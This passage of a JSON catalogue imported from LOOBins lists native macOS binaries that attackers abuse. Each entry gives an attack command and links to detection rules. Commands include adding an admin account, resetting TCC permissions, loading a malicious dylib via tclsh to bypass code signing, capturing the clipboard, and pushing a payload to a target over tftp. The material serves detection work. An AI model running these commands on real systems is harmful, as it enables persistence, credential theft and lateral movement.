       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Sigma: Creation Of A Local User Account",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_create_account.yml"
         },
         {
           "type": "Sigma: User Added To Admin Group Via Sysadminctl",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_sysadminctl_add_user_to_admin_group.yml"
         },
         {
           "type": "Sigma: Guest Account Enabled Via Sysadminctl",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_sysadminctl_enable_guest_account.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/sysadminctl.yml",
         "https://ss64.com/mac/sysadminctl.html"
       ]
     },
     {
       "id": "loobins:sysadminctl:08b699f562d93afa",
       "toolId": "loobins:sysadminctl",
       "toolName": "sysadminctl",
       "name": "Create Local User Account",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Persistence"
       ],
       "nativeCategory": [
         "Persistence"
       ],
       "command": "sudo sysadminctl -addUser randomUser -password \"randomPassword\"",
       "description": "sysadminctl can be used to create a local user account",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/sysadminctl"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Sigma: Creation Of A Local User Account",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_create_account.yml"
         },
         {
           "type": "Sigma: User Added To Admin Group Via Sysadminctl",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_sysadminctl_add_user_to_admin_group.yml"
         },
         {
           "type": "Sigma: Guest Account Enabled Via Sysadminctl",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_sysadminctl_enable_guest_account.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/sysadminctl.yml",
         "https://ss64.com/mac/sysadminctl.html"
       ]
     },
     {
       "id": "loobins:sysadminctl:5ac210cb243ba82b",
       "toolId": "loobins:sysadminctl",
       "toolName": "sysadminctl",
       "name": "Create a Local Admin Account",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Persistence"
       ],
       "nativeCategory": [
         "Persistence"
       ],
       "command": "sudo sysadminctl -addUser randomUser -password \"randomPassword\" -admin",
       "description": "sysadminctl can be used to create a local admin account",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/sysadminctl"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Sigma: Creation Of A Local User Account",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_create_account.yml"
         },
         {
           "type": "Sigma: User Added To Admin Group Via Sysadminctl",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_sysadminctl_add_user_to_admin_group.yml"
         },
         {
           "type": "Sigma: Guest Account Enabled Via Sysadminctl",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_sysadminctl_enable_guest_account.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/sysadminctl.yml",
         "https://ss64.com/mac/sysadminctl.html"
       ]
     },
     {
       "id": "loobins:sysadminctl:f4e8242891928d05",
       "toolId": "loobins:sysadminctl",
       "toolName": "sysadminctl",
       "name": "Reset user password",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Persistence"
       ],
       "nativeCategory": [
         "Persistence"
       ],
       "command": "sudo sysadminctl -resetPasswordFor randomUser -newPassword \"randomPassword\"",
       "description": "sysadminctl can be used to reset password for a particular user account",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/sysadminctl"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Sigma: Creation Of A Local User Account",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_create_account.yml"
         },
         {
           "type": "Sigma: User Added To Admin Group Via Sysadminctl",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_sysadminctl_add_user_to_admin_group.yml"
         },
         {
           "type": "Sigma: Guest Account Enabled Via Sysadminctl",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_sysadminctl_enable_guest_account.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/sysadminctl.yml",
         "https://ss64.com/mac/sysadminctl.html"
       ]
     },
     {
       "id": "loobins:sysadminctl:27d8e96a6674435a",
       "toolId": "loobins:sysadminctl",
       "toolName": "sysadminctl",
       "name": "Delete a local account",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [],
       "nativeCategory": [
         "Impact"
       ],
       "command": "sudo sysadminctl -deleteUser randomUser",
       "description": "sysadminctl can delete the specified user account",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/sysadminctl"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Sigma: Creation Of A Local User Account",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_create_account.yml"
         },
         {
           "type": "Sigma: User Added To Admin Group Via Sysadminctl",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_sysadminctl_add_user_to_admin_group.yml"
         },
         {
           "type": "Sigma: Guest Account Enabled Via Sysadminctl",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_sysadminctl_enable_guest_account.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/sysadminctl.yml",
         "https://ss64.com/mac/sysadminctl.html"
       ]
     },
     {
       "id": "loobins:sysadminctl:22d7cd044623e281",
       "toolId": "loobins:sysadminctl",
       "toolName": "sysadminctl",
       "name": "Enable SMB Guest Access",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [],
       "nativeCategory": [
         "Exfiltration"
       ],
       "command": "sudo sysadminctl -smbGuestAccess on",
       "description": "sysadminctl can enable SMB Guest Access",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/sysadminctl"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Sigma: Creation Of A Local User Account",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_create_account.yml"
         },
         {
           "type": "Sigma: User Added To Admin Group Via Sysadminctl",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_sysadminctl_add_user_to_admin_group.yml"
         },
         {
           "type": "Sigma: Guest Account Enabled Via Sysadminctl",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_sysadminctl_enable_guest_account.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/sysadminctl.yml",
         "https://ss64.com/mac/sysadminctl.html"
       ]
     },
     {
       "id": "loobins:sysadminctl:871ffb7fecbb33cb",
       "toolId": "loobins:sysadminctl",
       "toolName": "sysadminctl",
       "name": "Enable AFP Guest Access",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [],
       "nativeCategory": [
         "Exfiltration"
       ],
       "command": "sudo sysadminctl -afpGuestAccess on",
       "description": "sysadminctl can enable AFP Guest Access",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/sysadminctl"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Sigma: Creation Of A Local User Account",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_create_account.yml"
         },
         {
           "type": "Sigma: User Added To Admin Group Via Sysadminctl",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_sysadminctl_add_user_to_admin_group.yml"
         },
         {
           "type": "Sigma: Guest Account Enabled Via Sysadminctl",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_sysadminctl_enable_guest_account.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/sysadminctl.yml",
         "https://ss64.com/mac/sysadminctl.html"
       ]
     },
     {
       "id": "loobins:sysctl:4c999f9f530dbf76",
       "toolId": "loobins:sysctl",
       "toolName": "sysctl",
       "name": "Use sysctl to gather macOS hardware info.",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "sysctl -n hw.model",
       "description": "sysctl can be used to gather interesting macOS host data, including hardware information, memory size, logical cpu information, etc.",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/sysctl"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect activity related to sysctl in an interactive shell",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/sysctl_activity"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/sysctl.yml",
         "https://evasions.checkpoint.com/src/MacOS/macos.html"
       ]
     },
     {
       "id": "loobins:system_profiler:94bcdf5d6eceb23d",
       "toolId": "loobins:system_profiler",
       "toolName": "system_profiler",
       "name": "Listing the available datatypes",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "system_profiler -listDataTypes",
       "description": "List all available sub-systems to get information from.",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/system_profiler"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "System Information Discovery Using System_Profiler",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_system_profiler_discovery.yml"
         },
         {
           "type": "Jamf Protect: Detect system_profiler activity that gathers system information",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/system_profiler_activity"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/system_profiler.yml",
         "https://macosbin.com/bin/system_profiler",
         "https://ss64.com/osx/system_profiler.html"
       ]
     },
     {
       "id": "loobins:system_profiler:280ec67aa6e4fde6",
       "toolId": "loobins:system_profiler",
       "toolName": "system_profiler",
       "name": "Print hardware information",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "system_profiler SPHardwareDataType",
       "description": "Prints an overview of the hardware of the current machine, including its model name and serial number.",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/system_profiler"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "System Information Discovery Using System_Profiler",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_system_profiler_discovery.yml"
         },
         {
           "type": "Jamf Protect: Detect system_profiler activity that gathers system information",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/system_profiler_activity"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/system_profiler.yml",
         "https://macosbin.com/bin/system_profiler",
         "https://ss64.com/osx/system_profiler.html"
       ]
     },
     {
       "id": "loobins:system_profiler:04c45f4b68269440",
       "toolId": "loobins:system_profiler",
       "toolName": "system_profiler",
       "name": "Print software information",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "system_profiler SPSoftwareDataType",
       "description": "Prints an overview of the software of the current machine, including the exact macOS version number.",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/system_profiler"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "System Information Discovery Using System_Profiler",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_system_profiler_discovery.yml"
         },
         {
           "type": "Jamf Protect: Detect system_profiler activity that gathers system information",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/system_profiler_activity"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/system_profiler.yml",
         "https://macosbin.com/bin/system_profiler",
         "https://ss64.com/osx/system_profiler.html"
       ]
     },
     {
       "id": "loobins:system_profiler:5501ae493999a365",
       "toolId": "loobins:system_profiler",
       "toolName": "system_profiler",
       "name": "Print the information of developer tools",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "system_profiler SPDeveloperToolsDataType",
       "description": "Prints the currently active version of the Xcode developer tools and SDK.",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/system_profiler"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "System Information Discovery Using System_Profiler",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_system_profiler_discovery.yml"
         },
         {
           "type": "Jamf Protect: Detect system_profiler activity that gathers system information",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/system_profiler_activity"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/system_profiler.yml",
         "https://macosbin.com/bin/system_profiler",
         "https://ss64.com/osx/system_profiler.html"
       ]
     },
     {
       "id": "loobins:system_profiler:ae2eb524d89a31c7",
       "toolId": "loobins:system_profiler",
       "toolName": "system_profiler",
       "name": "Print power and battery information",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "system_profiler SPPowerDataType",
       "description": "Prints power and battery information, including the current AC wattage and battery cycle count.",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/system_profiler"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "System Information Discovery Using System_Profiler",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_system_profiler_discovery.yml"
         },
         {
           "type": "Jamf Protect: Detect system_profiler activity that gathers system information",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/system_profiler_activity"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/system_profiler.yml",
         "https://macosbin.com/bin/system_profiler",
         "https://ss64.com/osx/system_profiler.html"
       ]
     },
     {
       "id": "loobins:systemsetup:92b5002344055d13",
       "toolId": "loobins:systemsetup",
       "toolName": "systemsetup",
       "name": "Enable Remote Login",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Lateral Movement"
       ],
       "nativeCategory": [
         "Lateral Movement"
       ],
       "command": "sudo systemsetup -setremotelogin on",
       "description": "systemsetup can be used to enable SSH for remote login",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/systemsetup"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Command line argument detection containing (args contain systemsetup AND (-setremoteappleevents OR -setremotelogin) AND on)",
           "value": "https://www.elastic.co/guide/en/security/current/remote-ssh-login-enabled-via-systemsetup-command.html"
         },
         {
           "type": "Jamf Protect: Detect systemsetup activity that enables remotelogin or appleremoteevents",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/systemsetup_activity"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/systemsetup.yml",
         "https://ss64.com/osx/systemsetup.html"
       ]
     },
     {
       "id": "loobins:systemsetup:8cf0ab2815bd3147",
       "toolId": "loobins:systemsetup",
       "toolName": "systemsetup",
       "name": "Enable Remote Apple Events",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Lateral Movement"
       ],
       "nativeCategory": [
         "Lateral Movement"
       ],
       "command": "sudo systemsetup -setremoteappleevents on",
       "description": "systemsetup can be used to enable Remote Apple Events. \nSet whether the system responds to events sent by other computers (such as AppleScripts).\n",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/systemsetup"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Command line argument detection containing (args contain systemsetup AND (-setremoteappleevents OR -setremotelogin) AND on)",
           "value": "https://www.elastic.co/guide/en/security/current/remote-ssh-login-enabled-via-systemsetup-command.html"
         },
         {
           "type": "Jamf Protect: Detect systemsetup activity that enables remotelogin or appleremoteevents",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/systemsetup_activity"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/systemsetup.yml",
         "https://ss64.com/osx/systemsetup.html"
       ]
     },
     {
       "id": "loobins:tccutil:a2a8e1b9b60cb400",
       "toolId": "loobins:tccutil",
       "toolName": "tccutil",
       "name": "Use the tccutil to reset specific permissions",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion"
       ],
       "command": "tccutil reset AppleEvents",
       "description": "Banshee Stealer resets the permissions that have already been allowed to applications on the system, which will cause the user to be prompted to give them again. This action may be intended to trick the user into unknowingly giving authorizations to the malware.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/tccutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/tccutil.yml",
         "https://ss64.com/mac/tccutil.html",
         "https://research.checkpoint.com/2025/banshee-macos-stealer-that-stole-code-from-macos-xprotect/"
       ]
     },
     {
       "id": "loobins:tccutil:74f4c88c5da560ab",
       "toolId": "loobins:tccutil",
       "toolName": "tccutil",
       "name": "Use the tccutil to reset specific permissions for an application",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion"
       ],
       "command": "tccutil reset AppleEvents com.apple.Terminal",
       "description": "Attackers use tccutil to reset permissions for services like Camera, Microphone, or AppleEvents.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/tccutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/tccutil.yml",
         "https://ss64.com/mac/tccutil.html",
         "https://research.checkpoint.com/2025/banshee-macos-stealer-that-stole-code-from-macos-xprotect/"
       ]
     },
     {
       "id": "loobins:tclsh:73ff199dee11f733",
       "toolId": "loobins:tclsh",
       "toolName": "tclsh",
       "name": "Execute malicious dynamic library (.dylib) from standard input",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Execution"
       ],
       "nativeCategory": [
         "Execution"
       ],
       "command": "echo \"load bad.dylib\" | tclsh",
       "description": "An attacker can execute a malicious .dylib from stdin by echoing a load command and piping to tclsh. This will bypass code signing requirements.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/tclsh"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Recommendations included in resource below. No formal detection content at this time.",
           "value": "https://medium.com/specter-ops-posts/dylib-loads-that-tickle-your-fancy-d25196addd8c"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/tclsh.yml",
         "https://medium.com/specter-ops-posts/dylib-loads-that-tickle-your-fancy-d25196addd8c"
       ]
     },
     {
       "id": "loobins:textutil:51b3787cb7533e11",
       "toolId": "loobins:textutil",
       "toolName": "textutil",
       "name": "Use the textutil to read several files and build a new file",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion",
         "Collection"
       ],
       "nativeCategory": [
         "Defense Evasion",
         "Collection"
       ],
       "command": "textutil -convert html Quote.doc secondQuote.doc",
       "description": "A one-liner can load the content of multiple RTF files in a directory, concatenate their contents, and write the results out as a new file. This provides two sub-use-cases; one is building a malicious file from a collection of smaller files which could evade both network and host-based security controls as the traditional means of signature-based detection would be redundant; two is concatenating the content of several, potentially sensitive files before exfiltration. This command can also be looped to iterate a directory of files.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/textutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Command Line Argument Detection (args contain textutil AND (-convert OR -stdin OR pbpaste))",
           "value": "Command Line Argument Detection (args contain textutil AND (-convert OR -stdin OR pbpaste))"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/textutil.yml",
         "https://osxdaily.com/tag/textutil/"
       ]
     },
     {
       "id": "loobins:textutil:4dc3a5da2507547e",
       "toolId": "loobins:textutil",
       "toolName": "textutil",
       "name": "Capture clipboard content",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Credential Access",
         "Collection"
       ],
       "nativeCategory": [
         "Credential Access",
         "Collection"
       ],
       "command": "pbpaste | textutil -stdin -info > Clipboard.txt",
       "description": "By leveraging another command line tool, pbpaste, it is possible to write a one-liner which captures the content of the clipboard. If an attacker already has access to the system, the attacker could run this command to obtain sensitive information such as a password and then elevate their privileges or exfiltrate the information.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/textutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Command Line Argument Detection (args contain textutil AND (-convert OR -stdin OR pbpaste))",
           "value": "Command Line Argument Detection (args contain textutil AND (-convert OR -stdin OR pbpaste))"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/textutil.yml",
         "https://osxdaily.com/tag/textutil/"
       ]
     },
     {
       "id": "loobins:tftp:7e0e23e01b3fdd09",
       "toolId": "loobins:tftp",
       "toolName": "tftp",
       "name": "Activate the built-in TFTP server via launchctl",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Lateral Movement",
         "Persistence"
       ],
       "nativeCategory": [
         "Lateral Movement",
         "Persistence"
       ],
       "command": "sudo launchctl load -w /System/Library/LaunchDaemons/tftp.plist\n\n# Create placeholder for each file to be received\nsudo touch /private/tftpboot/payload.sh && sudo chmod 666 /private/tftpboot/payload.sh",
       "description": "macOS ships with a launchd plist for tftpd at /System/Library/LaunchDaemons/tftp.plist. Loading it with launchctl starts the TFTP server on UDP port 69, serving /private/tftpboot. Requires root. A placeholder file must be created for each file to be transferred, as the default configuration does not allow tftpd to create new files.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/tftp",
         "/usr/libexec/tftpd"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/tftp.yml",
         "https://ss64.com/mac/tftp.html",
         "https://en.wikipedia.org/https://hackviser.com/tactics/pentesting/services/tftp",
         "https://www.stamus-networks.com/blog/uncovered-uncovering-risk-exposure-from-publicly-accessible-unauthenticated-tftp",
         "https://attack.mitre.org/techniques/T1105/",
         "https://blog.talosintelligence.com/bad-apples-weaponizing-native-macos-primitives-for-movement-and-execution/"
       ]
     },
     {
       "id": "loobins:tftp:9714c3c02da83a7b",
       "toolId": "loobins:tftp",
       "toolName": "tftp",
       "name": "Transfer a file to a target using the tftp client",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Lateral Movement"
       ],
       "nativeCategory": [
         "Lateral Movement"
       ],
       "command": "tftp <TARGET_IP> << EOF\nbinary\nput /tmp/payload.sh payload.sh\nquit\nEOF",
       "description": "The built-in tftp client can push files to a remote TFTP server. The binary mode flag ensures files are not corrupted during transfer.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/tftp",
         "/usr/libexec/tftpd"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/tftp.yml",
         "https://ss64.com/mac/tftp.html",
         "https://en.wikipedia.org/https://hackviser.com/tactics/pentesting/services/tftp",
         "https://www.stamus-networks.com/blog/uncovered-uncovering-risk-exposure-from-publicly-accessible-unauthenticated-tftp",
         "https://attack.mitre.org/techniques/T1105/",
         "https://blog.talosintelligence.com/bad-apples-weaponizing-native-macos-primitives-for-movement-and-execution/"
       ]
     },
     {
       "id": "loobins:tftp:bc764b7dca517eae",
       "toolId": "loobins:tftp",
       "toolName": "tftp",
       "name": "Run unprivileged TFTP server on a non-standard port",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Lateral Movement",
         "Defense Evasion",
         "Persistence"
       ],
       "nativeCategory": [
         "Lateral Movement",
         "Defense Evasion",
         "Persistence"
       ],
